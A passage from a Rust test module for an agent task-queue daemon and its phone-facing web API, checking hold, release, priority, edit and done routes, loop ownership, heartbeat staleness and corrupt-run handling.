11119 "Do it".to_owned(),
11120 PathBuf::from("/repo/magi"),
11121 Source::Human,
11122 );
11123 let v = task_run_view(
11124 "20260902-140501-aaaa",
11125 Some(&s),
11126 RunSlot {
11127 n: 1,
11128 resumed: false,
11129 resumed_later: None,
11130 prior: None,
11131 last: true,
11132 },
11133 &task,
11134 );
11135 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11136 }
11137
11138 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11139 let mut s = flow_run(RunStatus::Implementing, edit);
11140 s.parked = false;
11141 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11142 task_run_view(
11143 "20260902-140501-aaaa",
11144 Some(&s),
11145 RunSlot {
11146 n: 1,
11147 resumed: false,
11148 resumed_later: Some(2),
11149 prior: None,
11150 last: false,
11151 },
11152 &task,
11153 )
11154 }
11155
11156 #[test]
11157 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
11158 let v = earlier_pass_view(|_| {});
11159 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
11160 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11161 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
11162 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
11163 assert_eq!(v.exit, RunExit::Interrupted);
11164 assert_eq!(v.attempt, AttemptCost::Unknown);
11165 }
11166
11167 #[test]
11168 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
11169 let v = earlier_pass_view(|s| {
11170 s.quota.push(crate::run::QuotaLoss {
11171 seat: "judge-1".to_owned(),
11172 node: "judge".to_owned(),
11173 at: Timestamp::now(),
11174 reset: None,
11175 });
11176 });
11177 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
11178 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11179 assert_eq!(v.attempt, AttemptCost::Unknown);
11180 }
11181
11182 #[test]
11183 fn the_current_pass_states_its_recorded_cause_and_cost() {
11184 let slot = || RunSlot {
11185 n: 1,
11186 resumed: false,
11187 resumed_later: None,
11188 prior: None,
11189 last: true,
11190 };
11191 let task = flow_task(&["20260902-140501-aaaa"]);
11192 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
11193 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
11194 assert_eq!(
11195 (v.exit, v.attempt),
11196 (RunExit::Parked, AttemptCost::Refunded)
11197 );
11198 let spent = flow_run(RunStatus::Blocked, |_| {});
11199 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
11200 assert_eq!(v.attempt, AttemptCost::Spent);
11201 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
11202 }
11203
11204 #[tokio::test]
11205 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
11206 let f = Fixture::start().await;
11207 let queue = f.queue();
11208 let mut task = Task::new(
11209 "spent".to_owned(),
11210 "Try again".to_owned(),
11211 PathBuf::from("/repo/magi"),
11212 Source::Human,
11213 );
11214 task.start("20260902-140502-bbbb".to_owned());
11215 task.fail("agent gave up", 9);
11216 queue.put(&mut task).expect("file the task");
11217
11218 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11219 assert_eq!(held.status, 200);
11220 assert_eq!(held.json()["status_str"], "held");
11221
11222 let released = f
11223 .post(&format!("/api/queue/{}/release", task.id), None)
11224 .await;
11225 assert_eq!(released.status, 200);
11226 assert_eq!(released.json()["status_str"], "queued");
11227 assert_eq!(
11228 released.json()["attempts"],
11229 0,
11230 "release is a real second chance, not an instant re-hold"
11231 );
11232 assert_eq!(
11233 queue.get(&task.id).expect("reload").status,
11234 TaskStatus::Queued,
11235 "the change is on disk, not only in the reply"
11236 );
11237 assert!(
11238 !f.home
11239 .path()
11240 .join("queue")
11241 .join(format!("{}.lock", task.id))
11242 .exists(),
11243 "the claim the mutation took is released again"
11244 );
11245 }
11246
11247 #[tokio::test]
11248 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
11249 let f = Fixture::start().await;
11250 let queue = f.queue();
11251 let mut task = Task::new(
11252 "busy".to_owned(),
11253 "Running right now".to_owned(),
11254 PathBuf::from("/repo/magi"),
11255 Source::Human,
11256 );
11257 queue.put(&mut task).expect("file the task");
11258 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11259
11260 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11261
11262 assert_eq!(res.status, 409);
11263 assert_eq!(
11264 queue.get(&task.id).expect("reload").status,
11265 TaskStatus::Queued,
11266 "the refused hold changed nothing"
11267 );
11268 }
11269
11270 #[tokio::test]
11271 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
11272 let f = Fixture::start().await;
11273 let queue = f.queue();
11274 let mut task = Task::new(
11275 "waiting on the migration".to_owned(),
11276 "Do the thing".to_owned(),
11277 PathBuf::from("/repo/magi"),
11278 Source::Human,
11279 );
11280 queue.put(&mut task).expect("file the task");
11281
11282 let held = f
11283 .post(
11284 &format!("/api/queue/{}/hold", task.id),
11285 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
11286 )
11287 .await;
11288 assert_eq!(held.status, 200, "{}", held.body);
11289 assert_eq!(held.json()["status_str"], "held");
11290 assert_eq!(
11291 held.json()["hold_reason"],
11292 "waiting for 20260101-000000-aaaa to land"
11293 );
11294
11295 let listed = f.get("/api/queue").await.json();
11296 assert_eq!(
11297 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
11298 "the card reads the reason off the same list route"
11299 );
11300
11301 let mut plain = Task::new(
11304 "no reason given".to_owned(),
11305 "Do another thing".to_owned(),
11306 PathBuf::from("/repo/magi"),
11307 Source::Human,
11308 );
11309 queue.put(&mut plain).expect("file the task");
11310 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
11311 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
11312 assert!(held_plain.json()["hold_reason"].is_null());
11313
11314 let released = f
11315 .post(&format!("/api/queue/{}/release", task.id), None)
11316 .await;
11317 assert_eq!(released.status, 200);
11318 assert!(
11319 released.json()["hold_reason"].is_null(),
11320 "a release must clear the reason so the next hold does not inherit it"
11321 );
11322 }
11323
11324 #[tokio::test]
11325 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
11326 let f = Fixture::start().await;
11327 let queue = f.queue();
11328 let mut older = Task::new(
11329 "filed first".to_owned(),
11330 "x".to_owned(),
11331 PathBuf::from("/repo/magi"),
11332 Source::Human,
11333 );
11334 older.id = "20260101-000001-aaaa".to_owned();
11335 let mut newer = Task::new(
11336 "filed second".to_owned(),
11337 "x".to_owned(),
11338 PathBuf::from("/repo/magi"),
11339 Source::Human,
11340 );
11341 newer.id = "20260101-000002-bbbb".to_owned();
11342 queue.put(&mut older).expect("file older");
11343 queue.put(&mut newer).expect("file newer");
11344
11345 let before = f.get("/api/queue").await.json();
11348 assert_eq!(before[0]["id"], newer.id);
11349 assert_eq!(before[1]["id"], older.id);
11350
11351 let raised = f
11355 .post(
11356 &format!("/api/queue/{}/priority", older.id),
11357 Some(r#"{"priority":10}"#),
11358 )
11359 .await;
11360 assert_eq!(raised.status, 200, "{}", raised.body);
11361 assert_eq!(raised.json()["priority"], 10);
11362
11363 let after = f.get("/api/queue").await.json();
11364 let names: Vec<&str> = after
11365 .as_array()
11366 .unwrap()
11367 .iter()
11368 .map(|t| t["id"].as_str().unwrap())
11369 .collect();
11370 assert_eq!(names[0], older.id, "the raised task now sorts first");
11374 }
11375
11376 #[tokio::test]
11377 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
11378 let f = Fixture::start().await;
11379 let queue = f.queue();
11380 let mut task = Task::new(
11381 "in flight".to_owned(),
11382 "x".to_owned(),
11383 PathBuf::from("/repo/magi"),
11384 Source::Human,
11385 );
11386 task.start("20260902-140502-bbbb".to_owned());
11387 queue.put(&mut task).expect("file the task");
11388
11389 let res = f
11390 .post(
11391 &format!("/api/queue/{}/priority", task.id),
11392 Some(r#"{"priority":9}"#),
11393 )
11394 .await;
11395 assert_eq!(res.status, 400, "{}", res.body);
11396 assert!(
11397 res.json()["error"]
11398 .as_str()
11399 .is_some_and(|e| e.contains("running")),
11400 "{}",
11401 res.body
11402 );
11403 assert_eq!(
11404 queue.get(&task.id).expect("reload").priority,
11405 0,
11406 "the refused write must not partially apply"
11407 );
11408 }
11409
11410 #[tokio::test]
11411 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
11412 let f = Fixture::start().await;
11413 let queue = f.queue();
11414 let mut task = Task::new(
11415 "old title".to_owned(),
11416 "old instruction".to_owned(),
11417 PathBuf::from("/repo/magi"),
11418 Source::Agent {
11419 run: "20260101-000000-beef".to_owned(),
11420 node: "implement".to_owned(),
11421 },
11422 );
11423 task.runs.push("20260101-000000-beef".to_owned());
11424 queue.put(&mut task).expect("file the task");
11425 let created_at = task.created_at;
11426
11427 let edited = f
11428 .post(
11429 &format!("/api/queue/{}/edit", task.id),
11430 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
11431 )
11432 .await;
11433 assert_eq!(edited.status, 200, "{}", edited.body);
11434 let body = edited.json();
11435 assert_eq!(body["title"], "new title");
11436 assert_eq!(body["instruction"], "new instruction");
11437 assert_eq!(body["id"], task.id, "editing must not mint a new id");
11438 assert_eq!(body["created_at"], created_at.to_string());
11439 assert_eq!(
11440 body["source"]["kind"], "agent",
11441 "editing a task an agent filed must not turn it human: {body}"
11442 );
11443 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
11444
11445 let reloaded = queue.get(&task.id).expect("reload");
11446 assert_eq!(reloaded.title, "new title");
11447 assert_eq!(reloaded.instruction, "new instruction");
11448 }
11449
11450 #[tokio::test]
11451 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
11452 let tmp = TempDir::new().expect("tempdir");
11455 let repo = tmp.path().join("repo");
11456 std::fs::create_dir_all(&repo).expect("repo dir");
11457 let judge = MOCK_AGENT_TOML.replace(
11458 "printf ok",
11459 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11460 );
11461 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11462 let f = Fixture::with_repo(repo.clone()).await;
11463 let queue = f.queue();
11464 let mut owner = Task::new(
11465 "owner".to_owned(),
11466 "review it".to_owned(),
11467 repo.clone(),
11468 Source::Human,
11469 );
11470 owner.review_branch = Some("magi/ab12/A".to_owned());
11471 queue.put(&mut owner).expect("file the owner");
11472 let mut task = Task::new(
11473 "draft".to_owned(),
11474 "old".to_owned(),
11475 repo.clone(),
11476 Source::Human,
11477 );
11478 queue.put(&mut task).expect("file the draft");
11479 let url = format!("/api/queue/{}/edit", task.id);
11480
11481 let refused = f
11482 .post(
11483 &url,
11484 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11485 )
11486 .await;
11487 assert_eq!(refused.status, 409, "{}", refused.body);
11488 let msg = refused.json()["error"]
11489 .as_str()
11490 .unwrap_or_default()
11491 .to_owned();
11492 assert!(
11493 msg.contains("magi/ab12/A") && msg.contains("force"),
11494 "{msg}"
11495 );
11496 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11497
11498 let forced = f
11499 .post(
11500 &url,
11501 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11502 )
11503 .await;
11504 assert_eq!(forced.status, 200, "{}", forced.body);
11505 }
11506
11507 #[tokio::test]
11508 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11509 let f = Fixture::start().await;
11510 let queue = f.queue();
11511 let mut task = Task::new(
11512 "in flight".to_owned(),
11513 "do not touch".to_owned(),
11514 PathBuf::from("/repo/magi"),
11515 Source::Human,
11516 );
11517 task.start("20260902-140502-bbbb".to_owned());
11518 queue.put(&mut task).expect("file the task");
11519
11520 let res = f
11521 .post(
11522 &format!("/api/queue/{}/edit", task.id),
11523 Some(r#"{"title":"x","instruction":"y"}"#),
11524 )
11525 .await;
11526 assert_eq!(res.status, 400, "{}", res.body);
11527 assert!(
11528 res.json()["error"]
11529 .as_str()
11530 .is_some_and(|e| e.contains("running")),
11531 "{}",
11532 res.body
11533 );
11534 assert_eq!(
11535 queue.get(&task.id).expect("reload").instruction,
11536 "do not touch",
11537 "the refused edit must not change the file"
11538 );
11539 }
11540
11541 #[tokio::test]
11542 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11543 let f = Fixture::start().await;
11544 let queue = f.queue();
11545 let mut task = Task::new(
11546 "busy".to_owned(),
11547 "Running right now".to_owned(),
11548 PathBuf::from("/repo/magi"),
11549 Source::Human,
11550 );
11551 queue.put(&mut task).expect("file the task");
11552 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11553
11554 let priority = f
11555 .post(
11556 &format!("/api/queue/{}/priority", task.id),
11557 Some(r#"{"priority":9}"#),
11558 )
11559 .await;
11560 assert_eq!(priority.status, 409, "{}", priority.body);
11561
11562 let edit = f
11563 .post(
11564 &format!("/api/queue/{}/edit", task.id),
11565 Some(r#"{"title":"x","instruction":"y"}"#),
11566 )
11567 .await;
11568 assert_eq!(edit.status, 409, "{}", edit.body);
11569 }
11570
11571 #[tokio::test]
11572 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11573 let f = Fixture::start().await;
11574 let queue = f.queue();
11575 let mut task = Task::new(
11576 "shipped by hand".to_owned(),
11577 "merged outside the loop".to_owned(),
11578 PathBuf::from("/repo/magi"),
11579 Source::Agent {
11580 run: "20260101-000000-b455".to_owned(),
11581 node: "implement".to_owned(),
11582 },
11583 );
11584 task.runs.push("20260101-000000-b455".to_owned());
11585 task.runs.push("20260101-000000-9af4".to_owned());
11586 queue.put(&mut task).expect("file the task");
11587 let created_at = task.created_at;
11588
11589 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11590 assert_eq!(done.status, 200, "{}", done.body);
11591 assert_eq!(done.json()["status_str"], "done");
11592
11593 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11594 assert_eq!(
11595 reloaded.runs,
11596 ["20260101-000000-b455", "20260101-000000-9af4"]
11597 );
11598 assert_eq!(
11599 reloaded.source,
11600 Source::Agent {
11601 run: "20260101-000000-b455".to_owned(),
11602 node: "implement".to_owned(),
11603 }
11604 );
11605 assert_eq!(reloaded.created_at, created_at);
11606 }
11607
11608 #[tokio::test]
11609 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11610 let f = Fixture::start().await;
11615 let queue = f.queue();
11616 let mut task = Task::new(
11617 "landed while held".to_owned(),
11618 "x".to_owned(),
11619 PathBuf::from("/repo/magi"),
11620 Source::Human,
11621 );
11622 task.hold_manual(Some("waiting on 3ed9".to_owned()));
11623 queue.put(&mut task).expect("file the held task");
11624
11625 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11626 assert_eq!(done.status, 200, "{}", done.body);
11627 assert_eq!(done.json()["status_str"], "done");
11628 assert!(
11629 done.json()["hold_reason"].is_null(),
11630 "a done task cannot still be waiting on something: {}",
11631 done.body
11632 );
11633 }
11634
11635 #[tokio::test]
11636 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11637 let f = Fixture::start().await;
11642 let queue = f.queue();
11643 let runs = f.runs();
11644 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11645 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11649
11650 let mut task = Task::new(
11651 "landed by hand".to_owned(),
11652 "x".to_owned(),
11653 PathBuf::from("/repo/magi"),
11654 Source::Human,
11655 );
11656 task.runs.push("20260101-000000-doa1".to_owned());
11657 task.runs.push("20260101-000000-doa2".to_owned());
11658 queue.put(&mut task).expect("file the task");
11659
11660 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11661 assert_eq!(done.status, 200, "{}", done.body);
11662
11663 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
11664 .expect("run still on disk under this fixture's own home");
11665 assert_eq!(
11666 reloaded_run.status,
11667 RunStatus::Superseded,
11668 "closing the task by hand must relabel the earlier blocked attempt exactly \
11669 like the loop's own settle path does"
11670 );
11671 }
11672
11673 #[tokio::test]
11674 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
11675 let f = Fixture::start().await;
11680 let queue = f.queue();
11681 let runs = f.runs();
11682 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
11683 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
11684
11685 let mut task = Task::new(
11686 "closed with nothing actually landed".to_owned(),
11687 "x".to_owned(),
11688 PathBuf::from("/repo/magi"),
11689 Source::Human,
11690 );
11691 task.runs.push("20260101-000000-dob1".to_owned());
11692 task.runs.push("20260101-000000-dob2".to_owned());
11693 queue.put(&mut task).expect("file the task");
11694
11695 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11696 assert_eq!(done.status, 200, "{}", done.body);
11697
11698 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
11699 .expect("run still on disk under this fixture's own home");
11700 assert_eq!(
11701 reloaded_run.status,
11702 RunStatus::Blocked,
11703 "the last recorded attempt never landed, so the earlier one must not be \
11704 relabelled as superseded by it"
11705 );
11706 }
11707
11708 #[tokio::test]
11709 async fn unknown_ids_are_json_not_found_on_both_stores() {
11710 let f = Fixture::start().await;
11711
11712 let run = f.get("/api/runs/nosuchrun").await;
11713 let task = f.post("/api/queue/nosuchtask/hold", None).await;
11714
11715 assert_eq!(run.status, 404);
11716 assert_eq!(task.status, 404);
11717 assert!(
11718 run.json()["error"]
11719 .as_str()
11720 .is_some_and(|e| e.contains("run")),
11721 "the error names what was not found: {}",
11722 run.body
11723 );
11724 assert!(
11725 task.json()["error"]
11726 .as_str()
11727 .is_some_and(|e| e.contains("task")),
11728 "the error names what was not found: {}",
11729 task.body
11730 );
11731 }
11732
11733 #[tokio::test]
11734 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
11735 let f = Fixture::start().await;
11736
11737 let missing = f.get("/api/health").await.json();
11738 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
11739
11740 write_daemon(
11741 f.home.path(),
11742 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11743 );
11744 let stale = f.get("/api/health").await.json();
11745 assert_eq!(
11746 stale["daemon"]["running"], false,
11747 "a minute without a heartbeat is a dead daemon, not a busy one"
11748 );
11749 assert!(
11750 stale["daemon"]["stale_for_secs"]
11751 .as_i64()
11752 .is_some_and(|s| s >= 55),
11753 "staleness is reported so the UI can say how long: {stale}"
11754 );
11755
11756 write_daemon(f.home.path(), Timestamp::now());
11757 let fresh = f.get("/api/health").await.json();
11758 assert_eq!(fresh["daemon"]["running"], true);
11759 assert_eq!(fresh["daemon"]["idle"], false);
11760 assert_eq!(fresh["daemon"]["pid"], 4242);
11761 assert_eq!(fresh["daemon"]["completed"], 7);
11762 assert_eq!(
11763 fresh["daemon"]["current"][0]["task"],
11764 "20260902-140501-aaaa"
11765 );
11766 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
11767 }
11768
11769 #[tokio::test]
11770 async fn the_loop_is_not_running_until_something_starts_it() {
11771 let f = Fixture::start().await;
11772
11773 let view = f.get("/api/loop").await.json();
11774 assert_eq!(view["running"], false);
11775 assert_eq!(
11776 view["owned"], false,
11777 "nobody owns a loop that does not exist: {view}"
11778 );
11779 assert_eq!(view["stopping"], false);
11780 assert_eq!(view["last_error"], Value::Null);
11781 assert_eq!(view["daemon"]["running"], false);
11782 assert_eq!(
11783 view["repo"], "/repo/magi",
11784 "the repository a start would use, named before it is started"
11785 );
11786 }
11787
11788 #[tokio::test]
11789 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
11790 let f = Fixture::start().await;
11791
11792 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11793 assert_eq!(res.status, 200, "{}", res.body);
11794 let view = res.json();
11795 assert_eq!(view["running"], true);
11796 assert_eq!(
11797 view["owned"], true,
11798 "the loop the UI started is the UI's own to stop: {view}"
11799 );
11800 assert_eq!(
11801 view["merge"],
11802 Value::Null,
11803 "no override was given, so each repository's own config decides"
11804 );
11805
11806 let health = f.get("/api/health").await.json();
11810 assert_eq!(health["loop"]["running"], true, "{health}");
11811 assert_eq!(health["loop"]["owned"], true, "{health}");
11812
11813 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11814 }
11815
11816 #[tokio::test]
11817 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
11818 let f = Fixture::start().await;
11819 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11820 assert_eq!(first.status, 200, "{}", first.body);
11821
11822 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11823 assert_eq!(
11824 again.status, 409,
11825 "two loops on one queue race for the same claims: {}",
11826 again.body
11827 );
11828 assert!(
11829 again.json()["error"]
11830 .as_str()
11831 .is_some_and(|e| e.contains("already running the loop")),
11832 "the refusal has to say why: {}",
11833 again.body
11834 );
11835 assert_eq!(
11836 f.get("/api/loop").await.json()["running"],
11837 true,
11838 "and the loop that was already running is untouched by it"
11839 );
11840
11841 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11842 }
11843
11844 #[tokio::test]
11845 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11846 let f = Fixture::start().await;
11847 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11848
11849 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11850 assert_eq!(
11851 res.status, 200,
11852 "the answer must not wait for the loop: a run in flight is tens of \
11853 minutes and the operator is holding a phone: {}",
11854 res.body
11855 );
11856
11857 let view = settled(&f, |v| v["running"] == false).await;
11858 assert_eq!(view["owned"], false);
11859 assert_eq!(
11860 view["stopping"], false,
11861 "a loop that has stopped is not still stopping: {view}"
11862 );
11863 assert_eq!(
11864 view["last_error"],
11865 Value::Null,
11866 "a loop that was asked to stop did not fail: {view}"
11867 );
11868
11869 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11872 assert_eq!(twice.status, 200, "{}", twice.body);
11873 }
11874
11875 #[tokio::test]
11876 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11877 let f = Fixture::start().await;
11878 write_daemon(f.home.path(), Timestamp::now());
11881
11882 let view = f.get("/api/loop").await.json();
11883 assert_eq!(view["running"], false, "not in this process: {view}");
11884 assert_eq!(view["owned"], false, "and not this process's to control");
11885 assert_eq!(
11886 view["daemon"]["running"], true,
11887 "but a loop is alive somewhere, which is what the UI must say"
11888 );
11889 assert_eq!(view["daemon"]["pid"], 4242);
11890
11891 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11892 let res = f.post("/api/loop", Some(body)).await;
11893 assert_eq!(
11894 res.status, 409,
11895 "neither button may pretend to work on someone else's loop: {}",
11896 res.body
11897 );
11898 assert!(
11899 res.json()["error"]
11900 .as_str()
11901 .is_some_and(|e| e.contains("4242")),
11902 "the refusal has to name the process the operator must go to: {}",
11903 res.body
11904 );
11905 }
11906 assert_eq!(
11907 f.get("/api/loop").await.json()["running"],
11908 false,
11909 "and the refusal started nothing"
11910 );
11911 }
11912
11913 #[tokio::test]
11914 async fn a_stale_status_file_is_not_a_foreign_owner() {
11915 let f = Fixture::start().await;
11916 write_daemon(
11917 f.home.path(),
11918 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11919 );
11920
11921 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11922 assert_eq!(
11923 res.status, 200,
11924 "a daemon killed a minute ago must not lock the loop out of its \
11925 own home for good: {}",
11926 res.body
11927 );
11928 assert_eq!(res.json()["running"], true);
11929
11930 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11931 }
11932
11933 #[tokio::test]
11934 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11935 let f = Fixture::start().await;
11936 let before = f.get("/api/health").await.json()["loop_rev"]
11937 .as_u64()
11938 .expect("a loop revision");
11939
11940 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11941
11942 let after = f.get("/api/health").await.json()["loop_rev"]
11943 .as_u64()
11944 .expect("a loop revision");
11945 assert!(
11946 after > before,
11947 "the loop is in-process state, so this counter is the only thing \
11948 that tells a second device the first one started it: {before} -> \
11949 {after}"
11950 );
11951
11952 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11953 }
11954
11955 #[tokio::test]
11956 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11957 let f = Fixture::with_loop(launch_broken).await;
11958
11959 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11960 assert_eq!(
11961 res.status, 200,
11962 "starting it is not the failure: {}",
11963 res.body
11964 );
11965
11966 let view = settled(&f, |v| v["last_error"].is_string()).await;
11967 assert_eq!(
11968 view["running"], false,
11969 "a loop that died must not read as running, or the operator has \
11970 nothing to press: {view}"
11971 );
11972 assert_eq!(view["owned"], false);
11973 assert!(
11974 view["last_error"]
11975 .as_str()
11976 .is_some_and(|e| e.contains("read-only file system")),
11977 "the phone is where a loop that died at 3am is visible: {view}"
11978 );
11979
11980 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11983 assert_eq!(again.status, 200, "{}", again.body);
11984 assert!(
11985 again.json()["last_error"]
11986 .as_str()
11987 .is_none_or(|e| !e.contains("read-only file system")),
11988 "a fresh start does not keep showing why the last one died: {}",
11989 again.body
11990 );
11991 }
11992
11993 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
12005 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
12006 let home = TempDir::new().expect("temp home");
12007 let runs = home.path().join("runs");
12008 std::fs::create_dir_all(&runs).expect("runs dir");
12009 let ui = Ui::new(
12010 Queue::at(home.path().join("queue")),
12011 Questions::at(home.path().join("questions")),
12012 Talks::at(home.path().join("talks")),
12013 runs,
12014 home.path().to_path_buf(),
12015 PathBuf::from("/repo/magi"),
12016 )
12017 .with_worktrees_root(home.path().join("wt"))
12018 .with_launch(launch_knocking_on_the_way_out);
12019 let looping = ui.looping();
12020 let turns = ui.turns();
12021 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
12022 .await
12023 .expect("bind loopback");
12024 let addr = listener.local_addr().expect("local addr");
12025 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
12026 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
12027
12028 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
12029 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
12030
12031 let bound = std::sync::Mutex::new(None);
12046 hand_over(
12047 home.path(),
12048 &looping,
12049 &turns,
12050 &|_: &[String]| Duration::from_secs(5),
12051 served,
12052 |_| {
12053 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
12054 let attempt = loop {
12055 match std::net::TcpListener::bind(addr) {
12056 Ok(l) => {
12057 drop(l);
12058 break Ok(());
12059 }
12060 Err(e)
12061 if e.kind() == std::io::ErrorKind::AddrInUse
12062 && std::time::Instant::now() < deadline =>
12063 {
12064 std::thread::sleep(std::time::Duration::from_millis(10));
12065 }
12066 Err(e) => break Err(e.to_string()),
12067 }
12068 };
12069 *bound.lock().expect("bound") = Some(attempt);
12070 Ok(1)
12071 },
12072 )
12073 .await
12074 .expect("hand over");
12075
12076 assert_eq!(
12077 *PARK_HEARD.lock().expect("park heard"),
12078 Some(200),
12079 "the deck must answer while the loop is parking"
12080 );
12081 let attempt = bound
12082 .lock()
12083 .expect("bound")
12084 .take()
12085 .expect("the successor was started");
12086 assert!(
12087 attempt.is_ok(),
12088 "and the address must be free by the time it is: {attempt:?}"
12089 );
12090 }
12091
12092 #[tokio::test]
12093 async fn a_newer_daemon_status_file_still_renders() {
12094 let f = Fixture::start().await;
12095 std::fs::write(
12098 f.home.path().join("daemon.json"),
12099 serde_json::json!({
12100 "schema": 2,
12101 "updated_at": Timestamp::now().to_string(),
12102 "idle": true,
12103 "surprise": { "nested": [1, 2, 3] },
12104 })
12105 .to_string(),
12106 )
12107 .expect("write daemon.json");
12108
12109 let health = f.get("/api/health").await;
12110
12111 assert_eq!(health.status, 200);
12112 assert_eq!(health.json()["daemon"]["running"], true);
12113 }
12114
12115 #[tokio::test]
12116 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
12117 let f = Fixture::start().await;
12118 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12119 let broken = f.runs().join("20260902-140502-bad");
12120 std::fs::create_dir_all(&broken).expect("run dir");
12121 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12122
12123 let list = f.get("/api/runs").await;
12124 let detail = f.get("/api/runs/20260902-140502-bad").await;
12125
12126 assert_eq!(list.status, 200);
12127 let listed = list.json();
12128 let ids: Vec<&str> = listed
12129 .as_array()
12130 .expect("an array")
12131 .iter()
12132 .map(|r| r["id"].as_str().expect("an id"))
12133 .collect();
12134 assert_eq!(
12135 ids,
12136 vec!["20260902-140501-good"],
12137 "one unreadable run must not cost the operator the whole history"
12138 );
12139 assert_eq!(detail.status, 500);
12140 assert!(
12141 detail.json()["error"]
12142 .as_str()
12143 .is_some_and(|e| e.contains("run.json")),
12144 "the failure names the file to look at: {}",
12145 detail.body
12146 );
12147 let health = f.get("/api/health").await;
12151 assert_eq!(health.json()["runs_unreadable"], 1);
12152 }
12153
12154 #[tokio::test]
12156 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
12157 let f = Fixture::start().await;
12158 let runs = f.runs();
12159 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
